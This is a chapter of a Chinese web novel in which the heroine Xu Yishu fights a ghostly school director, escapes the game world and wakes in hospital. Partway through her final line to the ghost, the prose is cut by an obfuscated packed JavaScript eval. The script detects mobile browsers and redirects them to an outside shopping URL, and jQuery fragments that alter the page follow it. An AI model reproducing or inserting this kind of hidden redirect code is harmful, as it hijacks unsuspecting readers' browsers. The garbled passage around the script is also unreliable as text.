14. (完)逃出生天

作品:《破境追凶[无限]

    细微的浮尘在光影中飞舞,粘稠的血液在脚边流淌。


    一切寂静。


    “许亦纾,刚刚得到一个好消息,但我还有一个坏消息,你想先听哪个?”许久没动静的唐沛铂再次出声,声音里带着隐隐的急切和兴奋。


    倒是一如既往地不懂得说话看场合。


    许亦纾望着眼前血流成河的尸体和凄厉的恶鬼如是想到。


    缓缓眨了眨眼,直觉眼前的鬼影像是开始了移动。


    许亦纾沉思一瞬。


    还是先跑再说!


    又一次零帧起手,扭头狂奔。


    唐沛铂也知道情势危急,顺应气氛般地加快语速,“好消息是这场雨下得足够久,通过它的帮助,我们技术人员成功定位到了你所在的虚拟位置。也就是说我们可以里应外合,打开副本,解救群众!”


    唐沛铂说得激动,呼吸也急促了几分,几乎与正在狂奔的许亦纾同频。


    “但坏消息是,我们即使踩到了定位上依然找不到副本,不知道要怎么才能将它打开。德赛拉市的探员已经将它包围了起来,我也会用最快的速度赶到。”


    唐沛铂适时停顿了一下,才继续说道:“到时候,可能还是需要你从里面打破‘境核’才行。”


    眼见前方不远处有一个紧急的拐角,许亦纾一边全力奔跑一边梳理着唐沛铂的话里的信息。


    “我知道这很困难,但通过我们目前了解到的信息,只要你在副本里还能吊着最后一口气,离开副本那一刻就能完全恢复。


    “一定要记得,坚持挺到最后,就是胜利!”


    话音落地,许亦纾拐过了拐角。


    抬眼望去,走廊的尽头是一堵上白下绿的墙面。


    “我靠,我光顾着说这些,忘了帮你看方向了。”唐沛铂一拍大腿,懊恼至极。


    许亦纾却已然没了心思在这件事上过多纠结。


    她缓缓停住脚步,唐沛铂的话她听懂了,打破“境核”,就能出去。


    而“境核”最可能的便是与薛佩兰有关。


    薛佩兰确实可怕,但她以命相搏也不是毫无胜算。


    再加之,从那个行事诡异的“同桌”被捅死开始,有关许亦媛的线索就彻底断了,再待在这个副本里也没有意义了。


    更何况,那个步步危机的考场里还有一群人亟待拯救。


    闪着寒光的匕首自衣袖滑出,许亦纾缓缓回转过身体,望着眼前飘来的鬼影,瞬间作出了决断。


    右脚后撤半步,蹬地助力,起跑。


    长腿迈开,直跳到薛主任面前,先发制人。


    “这么莽的吗?”唐沛铂为她转变的速度感到不可思议。


    细长漆黑的指甲迎面挠来,许亦纾急速扭头,右手持匕首直挥而上。


    匕首与指甲直接对碰的摩擦声令人牙酸。


    许亦纾完全没想到薛主任的指甲竟真会坚硬到这种程度。


    唐沛铂此刻也知道干着急没用,只好冷静下来说些闲话调解许亦纾的心情,“亲爱的观众朋友们,现在为您转播的是百年难得一遇的人鬼大战,可谓惊天地泣鬼神……”


    “不关心,谢谢。”


    “你看你这人,无趣。”


    激战中的二人错身而过,许亦纾单手撑地,没有丝毫停歇,再次起跳。


    这一次,直扑到了薛主任的身上,紧紧箍住她的手臂。


    锋利的匕首随心而动,将薛主任脸上装神弄鬼的长发削去不少,激得她大声喊叫,愤怒地要把许亦纾狂甩下去。


    许亦纾死抱着不撒手,竭力与她抗衡着。


    一人一鬼齐齐撞向走廊两侧的墙壁。千钧一发之际,许亦纾悄然使力,将薛主任压在下面当肉垫。


    “砰”地一声撞上墙面。


    薛主任气疯了,强力扭转局势,直扑向另一侧的墙壁。


    这一次,她成功把许亦纾压在身下的白墙上,发出“砰”响。


    一路打打转转,走廊里的挂画、标语、海报叮叮当当掉落了一地,却无人在意。


    “铃──”


    铃声响起,下课了。


    就是现在!


    眼见薛主任有一瞬间的分神,许亦纾找准时机快速将匕首插进她的身体。


    锋利的刀刃一寸寸没入眼前人的身体,许亦纾缓缓松了口气。


    “玩够了吗?小鬼。呵,就这点本事。”


    凄寒的嗓音响起,带着无限的鄙夷。


    许亦纾这才将视线从她插着匕首的胸口移开,薛主任一切安好。


    唯一一点变化,可能就是她扭曲的面容——证明着她的怒气已经攀升至顶点。


    OMG.


    许亦纾真是要给自己跪了,不知道现在补刀还来不来得及。


    她左手极速挥出,指尖夹着可以对灵体造成有效伤害的“锐利之刃”。


    可惜,这一次,她的手被薛主任及时抓住了。


    长长的指甲瞬间将许亦纾伸过去的左手捅个对穿,强烈喷射而出的鲜血喷了许亦纾自己一脸。


    十指连心,极致的痛苦让她克制不住,面目狰狞地跪倒在地。


    “小鬼,不要太自以为是。”


    轻蔑的话语自上砸下,砸得许亦纾一抖。


    剧烈的痛苦不断传来,她的额头上瞬间布满冷汗。


    大滴大滴的汗珠汇聚,顺流而下,眼前一片模糊。


    她捂着手蜷缩在地上,如同砧板上的鱼肉。


    “许亦纾!你怎么样!”唐沛铂不敢置信地大声呼喊。


    “你一定要挺住!别怕!我已经到了!我们一定会找到进去的办法,马上就好!很快!”


    许亦纾咬紧牙关,痛得说不出话。


    黑长的指甲一挥而下,宣告着这场毫无悬念的胜利。


    与此同时,学生们陆陆续续地下了课,纷纷走出教室,走廊上人逐渐多了起来,但都像是对眼前血腥的场景视而不见。


    就是此刻!


    许亦纾单手撑地,翻身一跃而起,薄刃再次挥出。


    锋利的刀锋在空中划过一条弧线,薛主任亲眼目睹却丝毫没有躲避,自顾自地将五指捅进跃到面前的人的身体里。


    “扑哧”


    一声响起,指甲穿破许亦纾的胸膛。


    同时,刀锋轻而易举穿过恶鬼。


    两个人同时闷哼出声,下意识后撤半步。


    许亦纾口吐鲜血跪倒在地,感受着自己生命的流失。


    【检测到主播生命值即将归零,直播间将在倒计时结束后强制关播,感谢各位的观看】


    刺目的倒计时再次蹦出,弹幕铺天盖地层层叠加,许亦纾眼前一片模糊。


    甩了甩头,她勉力睁开模糊的眼睛,看见薛主任的身影渐渐开始消散。


    挺住,马上就好。


    她对自己说。


    走廊上,学生们好似一瞬间失去了方向,纷纷停下脚步,茫然地站在原地。


    薛主任恶鬼的模样开始消退,显露出在学校一楼大厅里高高挂着的照片上那个中年女性的模样。


    即使知道真正的薛佩兰早已身死,许亦纾依然忍着痛楚,勉力张口对她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958933|193267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说:“该、瞑目了,薛主任。”


    说完,周围的一切开始扭曲,是熟悉的时空拉扯、变化的感觉,许亦纾终于再也撑不住地闭上了眼。


    在意识残存的最后时刻,她感觉自己好似跌入了一个万分熟悉的怀抱。


    在两只强有力的大手牢牢地搂住她的瞬间,她身上的疲惫与痛苦好似神奇地被一一抹平。


    感受着身上久违的舒适感,她陷入了深度的沉睡。


    再睁开眼时,已是经典的医院病房天花板。


    入目满是白晃晃一片,许亦纾索性再一次闭上了眼睛。


    “醒了怎么还装睡?”门板被从外面推开,身高腿长的探员抱着一个巨大的果篮走了进来。


    许亦纾侧头望去,只见果篮缝隙后面一双标志性的虎牙。


    再一次干脆地闭上眼睛。


    “你看你这人。”面对她的冷淡,唐沛铂表示十分不满。


    他走到床前,将果篮放到床边柜上。自己也立刻找了个床边的小凳子屈腿坐下,随手挑拣出一个苹果开始削皮。


    “好歹也是同生共死,额……我看着你死、不是,我看你出生入死,的好兄、朋友。”唐沛铂抬起手挡住嘴紧急修改措辞,“总之,应该为我们的阶段性胜利热烈庆祝!”


    许亦纾隐蔽地叹了口气,“其他人怎么样了?”


    唐沛铂正襟危坐,开始汇报:“那些npc学生在‘境’破碎的时候跟着一起消失了;至于那些变成学生的玩家,大概有几十个,正在进行精神干预,专家也不确定能不能把他们唤醒。”


    他顿了顿,继续说:“考场里的人救只出来了十五个。而且,我们没有看见那个不着调的家伙。”


    “他叫柴星炀。”没有了弹幕的监视,许亦纾终于可以直接和唐沛铂互通信息。


    “好,我马上去查。”垂头削皮的唐沛铂应声答道。


    “这里是哪?”


    “德赛拉市中心医院。”


    许亦纾点点头,想了一下,她直接问出自己最关心的问题:“副本没了,直播也没了,下次还怎么找那个游戏?”


    闻言,唐沛铂深深地叹了口气,同情地睇了她一眼,“不用心急,你想跑也跑不掉的。”


    “什么意思?”许亦纾蹙眉。


    “据我们了解,进入过游戏的人都会不定时地再被游戏拉去其他副本。虽说是‘通关’就能结束一切,但实际上根本没有办法彻底脱离。”


    许亦纾沉默了,她想到了那段时间精神崩溃的许亦媛。


    如果她能早一点发现的话……


    意识到许亦纾骤然之间的消沉,唐沛铂立刻意识到自己可能说错了话。


    他找补地转移话题,“你说,这个副本跟索龙飞真的没关系吗?”


    许亦纾抬起头盯了他一眼,“这不是你们调查局需要查的吗?”


    多说多错,唐沛铂抿住唇不说了。


    但许亦纾却还有话要说,她手指不自在地扣了扣被面,清了清嗓。


    “你,有没有看到一个长得……比较一般的陌生人?”


    唐沛铂:“?”


    “有点小帅,但只有一点点。”她用手指比划着。


    唐沛铂翻了个白眼,将手里削好的苹果扔给她,“这都什么时候了,还惦记帅哥呢!你快闭眼接着做梦吧。”


    “有没有?”


    “没有!”


    这样的闲聊没持续多久,唐沛铂便被焦头烂额的局里叫走了。


    空荡的病房里,许亦纾一个人坐在床上望着窗外,不知在想些什么。